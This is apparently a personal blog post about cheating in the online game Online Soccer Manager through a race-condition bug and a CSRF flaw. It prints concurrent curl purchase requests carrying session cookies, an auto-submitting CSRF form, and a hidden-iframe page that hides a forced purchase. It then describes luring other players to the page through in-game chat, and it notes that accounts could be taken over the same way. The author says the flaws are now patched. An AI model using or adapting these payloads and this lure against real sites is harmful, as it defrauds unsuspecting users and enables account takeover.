Advanced Cheating on Online Soccer Manager

Online Soccer Manager is a Dutch online click-based game where you can manage your own football team and play against other players. My goal was to win without paying much so I started looking for ways to cheat. I found two bugs on their site: a race-condition bug and a CSRF vulnerability.

Buy more players than you can afford

There are two ways to buy new players: 1) make an offer to another club; 2) buy a player off the transfer list. I found a way to buy two players at the same time from the transfer list – even when your club doesn’t have enough money for both. Result is a negative club balance:

osm1

It’s a race-condition bug. The trick is to logon from two different sessions and click the ‘buy’ button from both sessions at exactly the same time. Both requests will run simultaneously – they will access the database at pretty much the same time, check if your balance is high enough to confirm payment, and finally put the player on your selection and subtract the price from your current balance. This will result in a negative balance, which is normally not possible.

It’s fairly difficult to click two buttons from different sessions at *exactly* the same time, so that’s where curl comes in handy:

(curl -sS --data "btnYes=Ja&PlayerNr=214109881" -H 'Cookie: ASP.NET_SessionId=abcefghijklmnopqrs123' "http://www.onlinesoccermanager.nl/Player/Buy/214109881" >/dev/null) & \
(curl -sS --data "btnYes=Ja&PlayerNr=213803529" -H 'Cookie: ASP.NET_SessionId=tuvwxyzabcdefghij321' "http://www.onlinesoccermanager.nl/Player/Buy/213803529" >/dev/null) &

This executes the two actions to buy a player at (almost) exactly the same time. To know the different session_ids, logon from two different browsers and view the saved cookies.
Result: two players in your team and a negative money balance!

osm2
(Screenshot made in OSM 3.0; two players are bought at the same time.)

Make others buy your players automatically

I continued looking for bugs and saw there were no tokens send in requests, which makes cross-side request forgery possible! It’s a way to make requests from another domain, acting like it’s from the official onlinesoccermanager website being a legitimate request. That’s particularly useful when you let others make those fake requests for your own advantage.

What I did was create an webpage with these contents, and put my player with id 213803328 for an ridiculously high price on the transfer list:

<html>
<head>
<title></title>
<script>
window.onload = function() {
 document.getElementById("form").submit();
}
</script>
</head>
<body>
 <form id="form" method="post" action="http://www.onlinesoccermanager.nl/Player/Buy/213803328">
 <input type="hidden" value="Ja" name="btnYes" />
 <input type="hidden" value="inputPlayerNr" name="213803328" />
 <input type="submit" value="Buy" />
 </form>
</body>
</html>

It will confirm the payment like you’re on the official onlinesoccermanager, only automatically. It’s a copy of the confirmation dialog when buying a player, and simulates a click on the ‘buy’ button right after the page loads! Result: it confirms payment for player ‘213803328’ without confirmation. The only requirement is that you’re logged in on onlinesoccermanager.nl, so that the site doesn’t redirect you to the login screen.

The only downside using this script is that it redirects to http://www.onlinesoccermanager.nl/Player/Buy/213803328 after submitting the form, so it’s kinda obvious you’re tricking someone into making a unconfirmed payment. Solution is to embed it in an iframe and make it invisible, so that whoever opens it doesn’t suspect anything weird. In simple JS code:

<html>
<head>
<title>Redirecting...</title>
<style type="text/css">
iframe {
    visibility: hidden;
}
</style>
<script>
window.onload = function() {
    checkIframeStatus();
}
function checkIframeStatus() {
    var iframe1 = document.getElementById('iframe1');
    if (iframe1.src != 'form_submit.html') {
        window.location = 'https://www.youtube.com/watch?v=wm8f9lijle4';
    } else {
        setTimeout(100, checkIframeStatus);
    }
}
</script>
</head>
<body>
    <iframe id="iframe1" src="form_submit.html"></iframe>
</body>
</html>

The site redirects to a YouTube video after the payment completes.
Last step is to send the link to every player in the competition from inside the OSM chat (so that they’re definitely logged in), and wait for them to click it!

You can go even further and let whoever opens the link automatically resign as manager. I thought it was not a nice thing to do so I didn’t try it obviously, but I’m sure it would work, as it doesn’t require confirmation by password. Changing the user’s email on their profile is also possible without re-entering password. So in general it’s possible to take over someone’s OSM account by just letting them click on a link. That’s a major security vulnerability right there.

Luckily they have just updated their applications to a new version before I could report it. So the bugs have been patched and are no longer open for abuse. Against CSRF they added an authorization header in every request, which is hard to forge.